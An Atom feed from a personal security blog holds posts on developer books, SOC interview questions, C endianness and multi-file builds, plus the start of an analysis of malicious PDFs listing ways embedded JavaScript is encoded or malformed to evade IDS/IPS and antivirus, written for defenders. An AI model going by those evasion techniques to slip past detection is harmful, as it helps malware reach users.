<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1852980805947568568</id><updated>2012-02-07T22:03:29.190+05:30</updated><category term='fake av'/><category term='SOC'/><category term='linux'/><category term='Open Command Prompt'/><category term='PDF'/><category term='smb'/><category term='iframe'/><category term='C'/><category term='Zebra Protocol'/><category term='cifs'/><category term='Wireshark'/><category term='Sleuth Kit'/><category term='malware'/><category term='Server'/><category term='Script Execution'/><category term='Processor'/><category term='Forensics'/><category term='Security'/><category term='Algorithms'/><category term='message queues'/><category term='Jabber'/><category term='Programming'/><category term='Sniffing'/><category term='browser hijackers'/><category term='IDS/IPS'/><category term='Endianness'/><category term='pay per click'/><category term='base64'/><category term='Browsers'/><category term='phishing'/><category term='MIPS'/><category term='FTP'/><category term='cmd.exe'/><category term='spam'/><category term='Interviews'/><category term='samba'/><category term='gcc'/><category term='DoS'/><category term='IE'/><category term='GTalk'/><category term='P2P'/><category term='Intel'/><category term='GMail'/><category term='snort'/><title type='text'>Security Unplugged !!!</title><subtitle type='html'>Blog related to bit of Coding in C, LINUX, Vulnerability Research, Reverse Engineering, Malware Analysis, Exploits etc,etc...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>28</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-6935367384476764188</id><published>2012-01-31T20:34:00.004+05:30</published><updated>2012-02-07T21:46:12.162+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='Algorithms'/><title type='text'>10 must-read Books for Developers</title><content type='html'>&lt;div style="text-align: justify;"&gt;I liked the article so reposting it. Hope you will enjoy !!!&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Blog site &lt;strong&gt;&lt;a href="http://stackoverflow.com/questions/1711/what-is-the-single-most-influential-book-every-programmer-should-read"&gt;Stackoverflow&lt;/a&gt;&lt;/strong&gt; posed an interesting question: "If you could go back in time and tell yourself to read a specific book at the beginning of your career as a developer, which book would it be?"&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The accumulated wisdom of Stackoverflow readers posted over the past three years reads like a who's-who of the programming book industry, but several missing titles caught my eye.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;u&gt;Here's the Stackoverflow list:&lt;/u&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Code Complete&lt;/strong&gt;" by Steve McConnell (2004)". Tackles every facet of programming, with tons of examples.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;The Pragmatic Programmer&lt;/strong&gt;" by Andrew Hunt and David Thomas (1999). Concentrates on nitty-gritty real-world approaches to solving problems through code.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Structure and Interpretation of Computer Programs" (2nd Edition, 1996)&lt;/strong&gt; "by Harold Abelson, Gerald Sussman, and Julie Sussman. Concentrates on breaking big problems down into little ones, and ensuring the pieces come back to build the whole. The book is available under the Creative Commons Noncommercial License, for free on the Web.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;The C Programming Language&lt;/strong&gt;" (2nd Edition, 1988) by Brian Kernighan and Dennis Richie. Not only offers the definitive guide to C, but shows you how to program in general. My personal choice for the most important first book.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Introduction to Algorithms&lt;/strong&gt;" by Thomas Cormen, Charles Leiserson, Ronald Rivest, and Clifford Stein (2009). Gives fast ways to solve complex problems, using the right data structures. Comprehensive and quintessentially useful.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Refactoring: Improving the Design of Existing Code&lt;/strong&gt;" by Martin Fowler, Kent Beck, John Brant, and William Opdyke (1999). Shows you how to rebend a programming pretzel, taking poorly designed code and turning it into something even humans can understand.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Design Patterns: Elements of Reusable Object-Oriented Software&lt;/strong&gt;" by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides (1994). Serves as a reference of object oriented techniques. I'm surprised to see this on a list of "beginning of your career" books because it's much more suitable for people with a lot of OOP under their belts.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;The Mythical Man-Month" by Frederick Brooks (1995)"&lt;/strong&gt;. A management classic in the finest tradition. While not a programming book, a must-read for every developer.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;The Art of Computer Programming, Volume 1: Fundamental Algorithms&lt;/strong&gt;" (3rd Edition, 1997) by Donald Knuth. For anyone with a mathematical predilection, Volumes 1 and 3 ("&lt;strong&gt;Sorting and Searching&lt;/strong&gt;") stand out as true bibles of the industry. With Volumes 2 ("&lt;strong&gt;Seminumerical Algorithms&lt;/strong&gt;") and 4A ("&lt;strong&gt;Combinatorial Algorithms, Enumeration and Backtracking&lt;/strong&gt;") published, plans are still in place for Volume 4B ("&lt;strong&gt;Graph and Network Algorithms&lt;/strong&gt;"), Volume 4C (maybe Volumes 4D and 4E, "&lt;strong&gt;Optimization and Recursion&lt;/strong&gt;"), Volume 5 ("&lt;strong&gt;Syntactic Algorithms&lt;/strong&gt;"), Volume 6 ("&lt;strong&gt;Context-Free Languages&lt;/strong&gt;"), and Volume 7 ("&lt;strong&gt;Compiler Techniques&lt;/strong&gt;").&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Compilers: Principles, Techniques and Tools&lt;/strong&gt;" (2nd Edition, 2006) by Alfred Aho, Monica Lam, Ravi Sethi, and Jeffrey Ullman. The 1,000-page "dragon book" focuses on compilers, but in so doing covers topics every developer should understand.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;What's missing? I mentioned Knuth's Volume 3, but several others pop out.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If you veer off the developer-centric track for a moment, many classics would broaden the horizons of any aspiring analyst. "&lt;em&gt;Godel, Escher, Bach&lt;/em&gt;" by Douglas Hofstadter (1979) and "&lt;em&gt;Zen and the Art of Motorcycle Maintenance&lt;/em&gt;" by Robert Pirsig (1974) always come up as manifestos of the developer class.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sticking to developing, though, I'm surprised that these didn't make the top 10:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Clean Code: A Handbook of Agile Software Craftsmanship&lt;/strong&gt;" by Robert Martin (2008), emphasizes the importance of building code that can be digested, working through lots of real-world examples. It covers some of the same ground as Martin's earlier book, "Agile Software Development," and sets the stage for Martin's new book, "The Clean Coder."&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Code: The Hidden Language of Computer Hardware and Software&lt;/strong&gt;" by Charles Petzold (2000) should be on the short list of everyone who's involved in the computer industry, developer or not. Petzold covers the basics -- number systems, high-level languages, comm protocols, hardware, GUIs -- and doesn't overwhelm with jargon.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;For anyone destined to a corporate IT job, these three should be required reading:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Patterns of Enterprise Application Architecture&lt;/strong&gt;" by Martin Fowler (2002) helps corporate developers recognize common patterns in real-world problems, and digs into solution details for each pattern.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Coders at Work&lt;/strong&gt;" by Peter Seibel (2009) takes case histories -- which is to say, influential developers' real-life stories -- and weaves them into a powerful view of how 15 of the industry's best and brightest kicked some serious technical butt.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;strong&gt;Peopleware" (2nd edition. 1999)&lt;/strong&gt;" by Tom DeMarco and Timothy Lister emphasizes the human element in software development and how to put together a project that actually gets work done.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I won't say that list is definitive, but if there's a nascent developer, developer wannabe, or burned-out developer seeking inspiration in your circle of friends, do them a favor and get them one of these books.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;This story, "&lt;strong&gt;&lt;a href="http://www.infoworld.com/t/development-tools/10-must-read-books-developers-171638"&gt;10 must-read books for developers&lt;/a&gt;&lt;/strong&gt;" was originally published at &lt;a href="http://infoworld.com/"&gt;InfoWorld.com&lt;/a&gt;. Get the first word on what the important tech news really means with the InfoWorld Tech Watch blog. For the latest developments in business technology news, follow InfoWorld.com on Twitter.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Happy Reading ;-) !!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-6935367384476764188?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/6935367384476764188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2012/01/10-must-read-books-for-developers.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/6935367384476764188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/6935367384476764188'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2012/01/10-must-read-books-for-developers.html' title='10 must-read Books for Developers'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-1350395835876832859</id><published>2012-01-25T14:17:00.005+05:30</published><updated>2012-02-07T21:47:46.359+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SOC'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Interviews'/><title type='text'>SOC Interview Questions 1</title><content type='html'>Below are the questions collected from friends who attended interviews related to Security Operations Center (SOC).&lt;br /&gt;&lt;br /&gt;Difference between Probe vs Scan.&lt;br /&gt;Difference between Security event and Security incident.&lt;br /&gt;Wwhat is incident response (IR)?&lt;br /&gt;How will you carry on Network forensics?&lt;br /&gt;How will you carry on Memory forensics?&lt;br /&gt;What is APT (Advanced Persistent Threat)?&lt;br /&gt;What is IOC (related to APT)?&lt;br /&gt;What is ROT13?&lt;br /&gt;What is C2 (Command and Control)?&lt;br /&gt;Difference between normal threat vs APT ?&lt;br /&gt;Vulnerability vs Threat vs Exploit vs Risk.&lt;br /&gt;Different Evasion techniques of Malware?&lt;br /&gt;Different ways of compressing Malware?&lt;br /&gt;What is threat agent?&lt;br /&gt;Explain drop by downloads.&lt;br /&gt;Difference between Symmetric&amp;nbsp;and Asymmetric encryption?&lt;br /&gt;How do you collect image for Forensics without modifying the integrity of data on the PC/Laptop?&lt;br /&gt;(&lt;a href="http://darshanams.blogspot.com/2010/09/forensics-1-extracting-image.html"&gt;http://darshanams.blogspot.com/2010/09/forensics-1-extracting-image.html&lt;/a&gt;)&lt;br /&gt;Size of Registers in CPU? Are registers same for different CPU's?&lt;br /&gt;How to change Linux root password?&lt;br /&gt;&lt;br /&gt;Will come up with more questions once I get in touch with other friends.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-1350395835876832859?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/1350395835876832859/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2012/01/soc-interview-questions-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/1350395835876832859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/1350395835876832859'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2012/01/soc-interview-questions-1.html' title='SOC Interview Questions 1'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-5342845892547987511</id><published>2012-01-25T14:03:00.003+05:30</published><updated>2012-01-26T21:08:04.470+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Processor'/><category scheme='http://www.blogger.com/atom/ns#' term='Endianness'/><category scheme='http://www.blogger.com/atom/ns#' term='MIPS'/><category scheme='http://www.blogger.com/atom/ns#' term='Intel'/><title type='text'>Endianness: Different Processors</title><content type='html'>Endianness refers to the way data is represented in memory by different processors. For details about endianness you can refer&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Endianness"&gt;http://en.wikipedia.org/wiki/Endianness&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We will run below code on two different CPU architectures, Intel and MIPS&lt;br /&gt;*******Start of Code&amp;nbsp;endi.c ********&lt;br /&gt;#include&lt;stdio.h&gt;&lt;br /&gt;#include&lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int magiclhtona, magiclntoha, magiclhton1, magiclntoh1, htonli2, htonsi2, ntohli2, ntohsi2, htonli6, htonsi6, ntohli6, ntohsi6;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; magiclhtona = htonl(0xa1b2c3d4);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; magiclntoha = ntohl(0xa1b2c3d4);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; magiclhton1 = htonl(0x1f8b0800);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; magiclntoh1 = ntohl(0x1f8b0800);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; htonli2 = htonl(25);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; htonsi2 = htons(25);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ntohli2 = ntohl(25);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ntohsi2 = ntohs(25);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; htonli6 = htonl(65535);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; htonsi6 = htons(65535);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ntohli6 = ntohl(65535);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ntohsi6 = ntohs(65535);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("magiclhtona=%p magiclntoha=%p,magiclhton1=%p, magiclntoh1=%p, htonli2=%d htonsi2=%d ntohli2=%d ntohsi2=%d, htonli6=%d, htonsi6=%d, ntohli6=%d, ntohsi6=%d\n", magiclhtona, magiclntoha, magiclhton1, magiclntoh1,htonli2, htonsi2, ntohli2, ntohsi2, htonli6, htonsi6, ntohli6, ntohsi6);&lt;br /&gt;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&lt;br /&gt;*******Endof Code&amp;nbsp;endi.c ********&lt;br /&gt;To understand the output we should know what is he endianness of the Processors we are using&lt;br /&gt;Intel&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Little Endian&lt;br /&gt;MIPS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Big Endian&lt;br /&gt;&lt;br /&gt;Output on Intel processor&lt;br /&gt;&lt;strong&gt;[praveen]# ./endi&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;magiclhtona=0xd4c3b2a1 magiclntoha=0xd4c3b2a1,magiclhton1=0x88b1f, magiclntoh1=0x88b1f, htonli2=419430400 htonsi2=6400 ntohli2=419430400 ntohsi2=6400, htonli6=-65536, htonsi6=65535, ntohli6=-65536, ntohsi6=65535&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Output on MIPS processor&lt;br /&gt;&lt;strong&gt;praveen# ./endi&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;magiclhtona=0xa1b2c3d4 magiclntoha=0xa1b2c3d4,magiclhton1=0x1f8b0800, magiclntoh1=0x1f8b0800, htonli2=25 htonsi2=25 ntohli2=25 ntohsi2=25, htonli6=65535, htonsi6=65535, ntohli6=65535, ntohsi6=65535&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;praveen#&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Modify endi.c source file by adding below code&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int htonli8 = htonl(65538);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int htonsi8 = htons(65538);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int ntohli8 = ntohl(65538);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int ntohsi8 = ntohs(65538);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("htonli8=%d, htonsi8=%d, ntohli8=%d, ntohsi8=%d\n", htonli8, htonsi8, ntohli8, ntohsi8);&lt;br /&gt;&lt;br /&gt;Output on Intel Processor&lt;br /&gt;&lt;strong&gt;htonli8=33554688, htonsi8=512, ntohli8=33554688, ntohsi8=512&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Output on MIPS Processor&lt;br /&gt;&lt;strong&gt;htonli8=65538, htonsi8=2, ntohli8=65538, ntohsi8=2&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Hope this will help someone somewhere to understand endianness on different Processors.&lt;br /&gt;&lt;/stdlib.h&gt;&lt;/stdio.h&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-5342845892547987511?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/5342845892547987511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2012/01/endianness-different-processors.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5342845892547987511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5342845892547987511'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2012/01/endianness-different-processors.html' title='Endianness: Different Processors'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-550000537218447383</id><published>2011-09-29T18:02:00.004+05:30</published><updated>2011-10-07T21:08:02.353+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cifs'/><category scheme='http://www.blogger.com/atom/ns#' term='gcc'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Building Binary from multiple C files: Using custom header, accessing variables across multiple .c files</title><content type='html'>&lt;div style="text-align: justify;"&gt;One of my friend requested me to add basic stuff related to C programming. Initially when I started coding I was skeptical using custom header files, using same variable in different .c files and building binary from multiple C files. This post probably clears all those doubts.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Below shapshot shows content in header file (praveen.h) and code in different C files (sharedvar1.c, sharedvar2.c). &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="301" src="http://1.bp.blogspot.com/-x3VRllT2doM/ToRjnC2yF-I/AAAAAAAAAU0/pfLjX6C9Qcg/s320/compilingwithMultipleCfilesandOneCustomHeader.JPG" width="320" /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Below snapshot shows how to compile multiple C files to create a single binary and also output of the program.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="145" src="http://1.bp.blogspot.com/-ba-gU1NHHVo/ToRjlx9YkSI/AAAAAAAAAUw/XAgNs3Yc25c/s320/compilingAndRunning.JPG" width="320" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Also we have learned how to access single variable across multiple files.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hope this might have helped from someone somewhere :) !!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-550000537218447383?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/550000537218447383/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2011/09/building-single-binary-from-multiple-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/550000537218447383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/550000537218447383'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2011/09/building-single-binary-from-multiple-c.html' title='Building Binary from multiple C files: Using custom header, accessing variables across multiple .c files'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-x3VRllT2doM/ToRjnC2yF-I/AAAAAAAAAU0/pfLjX6C9Qcg/s72-c/compilingwithMultipleCfilesandOneCustomHeader.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-7345829437435231072</id><published>2011-09-08T18:13:00.016+05:30</published><updated>2011-10-05T13:24:04.617+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='PDF'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS/IPS'/><title type='text'>Malicious PDF: Portable Document Files Compresion/Encoding/Obfuscation</title><content type='html'>&lt;div style="text-align: justify;"&gt;Malicious PDF's has increased manifold which are used to infect computers with Malware of execute code when PDF files are opened. We will see various ways how javascript embedded within PDF's can be compressed or encoded to evade detection by IDS/IPS and Anti Virus. Normally many PDF Parsers crash while analyzing the malicious/malformed file but Adobe reader successfully opens the file which leads to infection.&lt;br /&gt;&lt;br /&gt;Below is the malicious PDF file viewed in text editor.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-gYV5ZA46U2o/TnCz0wAtrCI/AAAAAAAAAUI/6HXCo5hrd84/s1600/maliciousPDF_ver_junkdata_encodedComment.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="190" src="http://4.bp.blogspot.com/-gYV5ZA46U2o/TnCz0wAtrCI/AAAAAAAAAUI/6HXCo5hrd84/s320/maliciousPDF_ver_junkdata_encodedComment.jpeg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;b&gt;PDF Parsers might have issues in analyzing following abnormal files:&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Portable Document File Format does not strictly abide to its specification.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. PDF Version might be malformed (NULL value, incomplete value etc) (can see in above pic)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3. May not contain endobj or endstream (atleast one string should be present within an object)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;4. May not contain xref table&lt;/div&gt;&lt;div style="text-align: justify;"&gt;5. Names may be Encoded (/JavaScript as /J#61vaScript).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;6. No %%EOF header&lt;/div&gt;&lt;div style="text-align: justify;"&gt;7. There might be multiple %%EOF headers or trailer’s&amp;nbsp; indicating incremental updates.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;8. PDF embedded within other PDF (same object numbers in a single file).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;9. Different types of Evasions/ Encoding can be found at&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;&amp;nbsp; &lt;a href="http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/"&gt;http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;Different Encoding/Compressions Filter types are&lt;/b&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;/FlateDecode&lt;/div&gt;&lt;div 